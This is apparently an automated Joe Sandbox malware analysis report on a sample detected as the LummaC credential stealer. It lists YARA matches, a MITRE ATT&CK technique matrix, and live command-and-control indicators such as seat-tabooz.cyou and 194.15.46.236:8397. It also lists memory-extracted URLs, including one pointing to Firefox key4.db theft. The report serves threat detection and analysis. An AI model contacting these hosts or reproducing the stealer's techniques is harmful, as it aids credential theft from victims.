Source: C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior

Source: Yara match	File source: 00000008.00000003.3177873716.0000000003289000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3177229776.0000000003287000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3149305764.000000000328B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3153999700.000000000328B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3199843354.0000000003287000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3223397181.0000000003287000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3199093402.0000000003288000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3199380721.0000000003288000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3226874929.000000000328F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3150414400.000000000328B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pipanel.exe PID: 3732, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: pipanel.exe PID: 3732, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	512 Process Injection	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Credential API Hooking	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	231 Virtualization/Sandbox Evasion	1 Credential API Hooking	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	512 Process Injection	Security Account Manager	551 Security Software Discovery	SMB/Windows Admin Shares	41 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	231 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	323 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
mDHwap5GlV.exe	5%	ReversingLabs

Source	Detection	Scanner	Label
http://194.15.46.236:8397/notify-launchH	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou/g	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou/apibu	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou/_	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou/rG	0%	Avira URL Cloud	safe
https://api.ipify.org;Error	0%	Avira URL Cloud	safe
http://194.15.46.236:8397/notify-launch	0%	Avira URL Cloud	safe
http://www.faststone.org/FSCTutorial.htmU	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou/e7	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou:443/apiT	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou/s	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou/api$	0%	Avira URL Cloud	safe
http://194.15.46.236:8397	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou:443/api2o4p.default-release/key4.dbPK	0%	Avira URL Cloud	safe
http://www.faststone.org/FSCTutorial.htm	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou/api	0%	Avira URL Cloud	safe
https://www.faststone.org/order.htmU	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou/	0%	Avira URL Cloud	safe
http://194.15.46.236:8397/	0%	Avira URL Cloud	safe
http://www.faststone.org/	0%	Avira URL Cloud	safe
http://www.faststone.org/U	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou:443/api	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou/apis	0%	Avira URL Cloud	safe
https://seat-tabooz.cyou/apig	0%	Avira URL Cloud	safe
http://194.15.46.236:8397/software/AI-Setup	0%	Avira URL Cloud	safe
https://www.faststone.org/order.htm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
seat-tabooz.cyou	172.67.178.191	true	true	unknown
ipinfo.io	34.117.59.81	true	false	high
api.ipify.org	172.67.74.152	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://194.15.46.236:8397/notify-launch	false	Avira URL Cloud: safe	unknown
https://api.ipify.org/	false		high
https://seat-tabooz.cyou/api	true	Avira URL Cloud: safe	unknown
https://ipinfo.io/8.46.123.75/json	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://html4/loose.dtd	mDHwap5GlV.exe	false		high
https://duckduckgo.com/chrome_newtab	pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mono/linker/issues/1731	mDHwap5GlV.exe	false		high
https://ipinfo.io/missingauth	mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000052D6000.00000004.00001000.00020000.00000000.sdmp, mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000052CA000.00000004.00001000.00020000.00000000.sdmp	false		high
http://194.15.46.236:8397/notify-launchH	mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000052FE000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mono/linker/issues/2025	mDHwap5GlV.exe, 00000000.00000002.2577048094.00000000088EA000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000009371000.00000020.00000001.00040000.00000003.sdmp	false		high
https://duckduckgo.com/ac/?q=	pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mono/linker/pull/2125.	mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2586676294.000000000A3E1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp	false		high
https://aka.ms/dotnet/info	mDHwap5GlV.exe	false		high
https://seat-tabooz.cyou/apibu	pipanel.exe, 00000008.00000003.3288755840.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299412345.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302356926.00000000032A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org;Error	mDHwap5GlV.exe	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	pipanel.exe, 00000008.00000003.3201020059.0000000005341000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/json	mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	false		high
https://aka.ms/dotnet/app-launch-failed	mDHwap5GlV.exe	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	pipanel.exe, 00000008.00000003.3153503975.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3154237672.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3177153641.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3177263165.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3153242568.000000000539C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.css	mDHwap5GlV.exe	false		high
https://aka.ms/dotnet/sdk-not-foundFailed	mDHwap5GlV.exe	false		high
https://seat-tabooz.cyou:443/apiT	pipanel.exe, 00000008.00000002.3301790108.0000000003200000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299967549.0000000003200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/dotnet-core-applaunch?	mDHwap5GlV.exe	false		high
https://seat-tabooz.cyou/e7	pipanel.exe, 00000008.00000003.3300281713.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302217673.0000000003281000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtime	mDHwap5GlV.exe	false		high
https://seat-tabooz.cyou/_	pipanel.exe, 00000008.00000003.3300281713.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302217673.0000000003281000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org	mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000051BD000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.faststone.org/FSCTutorial.htmU	decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://aka.ms/dotnet-warnings/	mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604580772.000000000D410000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593507496.000000000C900000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604677499.000000000D431000.00000020.00000001.00040000.00000003.sdmp	false		high
https://seat-tabooz.cyou/g	pipanel.exe, 00000008.00000003.3247774576.0000000003280000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3265221775.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3251446229.0000000003280000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3289055466.0000000003281000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	pipanel.exe, 00000008.00000003.3201020059.0000000005341000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ipinfo.io:443/	mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000052CA000.00000004.00001000.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	pipanel.exe, 00000008.00000003.3153503975.0000000005370000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibility	mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/runtime/issues/71847	mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	false		high
https://seat-tabooz.cyou/rG	pipanel.exe, 00000008.00000003.3247774576.0000000003280000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3251446229.0000000003280000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/binaryformatter	mDHwap5GlV.exe, 00000000.00000002.2577048094.00000000088EA000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000009371000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	false		high
https://seat-tabooz.cyou/s	pipanel.exe, 00000008.00000003.3300281713.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302217673.0000000003281000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mono/linker/pull/649	mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	pipanel.exe, 00000008.00000003.3200670230.0000000005465000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1921706741.0000000004984000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/dotnet-core-applaunch?Description:	mDHwap5GlV.exe	false		high
http://.jpg	mDHwap5GlV.exe	false		high
https://seat-tabooz.cyou:443/api2o4p.default-release/key4.dbPK	pipanel.exe, 00000008.00000002.3301790108.0000000003200000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299967549.0000000003200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://194.15.46.236:8397	mDHwap5GlV.exe	false	Avira URL Cloud: safe	unknown
http://api.ipify.org:443/	mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000051BD000.00000004.00001000.00020000.00000000.sdmp, mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000052EE000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/JamesNK/Newtonsoft.Json	mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	false		high
https://seat-tabooz.cyou/api$	pipanel.exe, 00000008.00000002.3301790108.0000000003200000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299967549.0000000003200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	pipanel.exe, 00000008.00000003.3201020059.0000000005341000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/runtime/blob/bbc898f3e5678135b242faeb6eefd8b24bf04f3c/src/native/corehost/	mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	false		high
https://github.com/mono/linker/issues/1416.	mDHwap5GlV.exe	false		high
http://www.faststone.org/FSCTutorial.htm	decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://www.faststone.org/order.htmU	decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://aka.ms/dotnet-illink/com	mDHwap5GlV.exe, 00000000.00000002.2577048094.00000000088EA000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000009371000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	pipanel.exe, 00000008.00000003.3153503975.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3154237672.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3177153641.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3177263165.0000000005395000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3153242568.000000000539C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.faststone.org/	decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://aka.ms/dotnet/downloadInstall	mDHwap5GlV.exe	false		high
https://seat-tabooz.cyou/	pipanel.exe, 00000008.00000003.3300281713.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3301790108.0000000003200000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3153999700.000000000328B000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3149305764.000000000328B000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302217673.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3247774576.0000000003280000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299967549.0000000003200000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150414400.000000000328B000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3265221775.0000000003281000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3251446229.0000000003280000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3289055466.0000000003281000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	pipanel.exe, 00000008.00000003.3200670230.0000000005465000.00000004.00000800.00020000.00000000.sdmp	false		high
http://james.newtonking.com/projects/json	mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	false		high
http://194.15.46.236:8397/	mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000052FE000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.faststone.org/U	decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/mono/linker/issues/378	mDHwap5GlV.exe	false		high
https://ac.ecosia.org/autocomplete?q=	pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	false		high
https://seat-tabooz.cyou/apig	pipanel.exe, 00000008.00000003.3288755840.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299412345.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302356926.00000000032A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/linker/issues/2392	mDHwap5GlV.exe, 00000000.00000002.2586676294.000000000A3E1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp	false		high
https://seat-tabooz.cyou:443/api	pipanel.exe, 00000008.00000002.3301790108.0000000003200000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3299967549.0000000003200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/	mDHwap5GlV.exe	false		high
https://aka.ms/pscore6lBdq	powershell.exe, 00000004.00000002.1921706741.0000000004958000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1921706741.0000000004967000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mono/linker/issues/1989	mDHwap5GlV.exe	false		high
https://github.com/mono/linker/issues/1906.	mDHwap5GlV.exe	false		high
https://support.microsof	pipanel.exe, 00000008.00000003.3153242568.000000000539E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/jsonschema	mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	false		high
https://seat-tabooz.cyou/apis	pipanel.exe, 00000008.00000003.3299412345.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, pipanel.exe, 00000008.00000002.3302356926.00000000032A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://194.15.46.236:8397/software/AI-Setup	mDHwap5GlV.exe, 00000000.00000002.2568628976.0000000005171000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/GlobalizationInvariantMode	mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	false		high
https://www.nuget.org/packages/Newtonsoft.Json.Bson	mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	pipanel.exe, 00000008.00000003.3153503975.0000000005370000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.faststone.org/order.htm	decrypted_app_1.exe, 00000007.00000000.2526968446.00000000009F1000.00000020.00000001.01000000.00000007.sdmp, decrypted_app_1.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	pipanel.exe, 00000008.00000003.3149914594.000000000536F000.00000004.00000800.00020000.00000000.sdmp, pipanel.exe, 00000008.00000003.3150677116.0000000005358000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/dotnet-illink/nativehost	mDHwap5GlV.exe, 00000000.00000002.2577048094.00000000088EA000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000009371000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp	false		high
https://aka.ms/dotnet/download	mDHwap5GlV.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.178.191	seat-tabooz.cyou	United States	13335	CLOUDFLARENETUS	true
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
194.15.46.236	unknown	unknown	20952	VENUS-INTERNET-ASGB	false
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561835
Start date and time:	2024-11-24 12:09:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	mDHwap5GlV.exe renamed because original name is a hash value
Original Sample Name:	1055064ac9b506a5b74090f71c4fabbe4bf077bce9bd80bfce9671e723f50cfc.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/4@3/4
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target pipanel.exe, PID 3732 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1196 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: mDHwap5GlV.exe

Simulations

Behavior and APIs

Time	Type	Description
06:12:29	API Interceptor	8x Sleep call for process: pipanel.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.59.81	FormulariomillasbonusLATAM_GsqrekXCVBmUf.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
